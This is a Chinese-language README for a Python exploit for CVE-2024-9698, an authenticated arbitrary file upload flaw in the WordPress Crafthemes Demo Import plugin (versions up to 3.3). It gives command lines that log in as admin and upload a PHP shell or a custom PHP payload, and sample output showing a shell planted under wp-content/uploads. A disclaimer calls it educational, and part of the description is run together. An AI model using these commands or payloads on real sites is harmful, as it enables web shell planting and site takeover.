
Crafthemes Demo Import <= 3.3 - 经过身份验证的(管理员+)在 process_uploaded_files 中的任意文件上传
该漏洞利用程序针对 WordPress 的 Crafthemes Demo Import 插件中的一个严重漏洞(CVE-2024-9698)。该漏洞允许已认证的管理员向受影响的 WordPress 站点上传任意文件,从而导致潜在的远程代码执行(RCE)。
process_uploaded_filesreadme.txt 提取信息来检查插件版本。admin-ajax.php 上传自定义 PHP Shell。python CVE-2024-9698.py --url "http://target.com/wordpress" --username "admin" --password "password"
如果要上传自定义 PHP Payload,请使用:
python CVE-2024-9698.py --url "http://target.com/wordpress" --username "admin" --password "password" --payload "<?php phpinfo(); ?>"
[+] Target is vulnerable, proceeding with exploit...
[+] Logged in successfully.
[+] Extracted nonce: abc123xyz
[+] Shell uploaded successfully: http://target.com/wp-content/uploads/2025/02/Nxploit.php
免责声明: 此脚本仅用于教育和安全研究目的。未经明确许可对系统进行未授权使用是违法的。